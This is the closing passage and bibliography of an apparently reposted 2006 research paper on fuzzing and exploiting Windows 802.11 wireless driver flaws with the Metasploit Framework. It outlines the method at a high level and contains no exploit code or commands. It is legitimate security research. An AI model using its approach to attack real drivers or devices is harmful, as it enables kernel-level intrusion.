kernel-modevulnerabilities. The public justification for the lack of equivalenttechnology typically centers around the argument that kernel-modevulnerabilities are difficult to exploit and are too few in number to actuallywarrant the integration of exploit prevention features. In actuality, sadthough it may seem, the justification really boils down to a business costissue. At present, kernel-mode vulnerabilities don't account for enough moneyin lost revenue to support the time investment needed to implement and testkernel-mode exploit prevention features.In the interest of helping to balance the business cost equation, the authorshave described a process that can be used to identify and exploit 802.11wireless device driver vulnerabilities on Windows. This process includessteps that can be taken to fuzz the different ways in which 802.11 devicedrivers process 802.11 packets. In certain cases, flaws may be detected in aparticular device driver's processing of certain packets, such as Beaconrequests and Probe responses. When these flaws are detected, exploits can bedeveloped using the features that have been integrated into the 3.0 version ofthe Metasploit Framework that help to streamline the process of transmittingcrafted 802.11 packets in an effort to gain code execution.Through the description of this process, it is hoped that the reader will seethat kernel-mode vulnerabilities can be just as easy to identify and exploitas user-mode. Furthermore, it is hoped that this description will help toeliminate the false impression that all kernel-mode vulnerabilities are muchmore difficult to exploit (keeping in mind, of course, that there are indeedkernel-mode vulnerabilities that are difficult to exploit in just the same waythat there are indeed user-mode vulnerabilities that are difficult toexploit). While an emphasis has been put upon 802.11 wireless device drivers,many different device drivers have the potential for exposing vulnerabilities.Looking toward the future, there are many different opportunities forresearch, both from an attack and defense point of view. From an attack point of view, there's no shortage of interesting researchtopics. As it relates to 802.11 wireless device driver vulnerabilities, muchmore advanced 802.11 protocol fuzzers can be developed that are capable ofreaching features exposed by all of the protocol client states rather thanfocusing on the unauthenticated and unassociated state. For device drivers ingeneral, the development of fuzzers that attack the IOCTL interface exposed bydevice objects would provide good insight into a wide range of locally exposedvulnerabilities. Aside from techniques used to identify vulnerabilities, it'sexpected that researching of techniques used to actually take advantage ofdifferent types of kernel-mode vulnerabilities will continue to evolve andbecome more reliable. From a defense point of view, there is a definite needfor research that is focused on making the exploitation of kernel-modevulnerabilities either impossible or less reliable. It will be interesting tosee what the future holds for kernel-mode vulnerabilities.Bibliography[1] bugcheck and skape. Windows Kernel-mode Payload Fundamentals. http://www.uninformed.org/?v=3&a=4&t=sumry; accessed Dec 2, 2006.[2] eEye. Remote Windows Kernel Exploitation - Step Into the Ring 0. http://research.eeye.com/html/Papers/download/StepIntoTheRing.pdf; accessed Dec 2, 2006.[3] Gast, Matthew S. 802.11 Wireless Networks - The Definitive Guide. http://www.oreilly.com/catalog/802dot11/; accessed Dec 2, 2006.[4] Lemos, Robert. Device drivers filled with flaws, threaten security. http://www.securityfocus.com/news/11189; accessed Dec 2, 2006.[5] SoBeIt. Windows Kernel Pool Overflow Exploitation. http://xcon.xfocus.org/xcon2005/archives/2005/Xcon2005_SoBeIt.pdf; accessed Dec 2, 2006.Sursa: http://www.uninformed.org/?v=6&a=2&t=txt Quote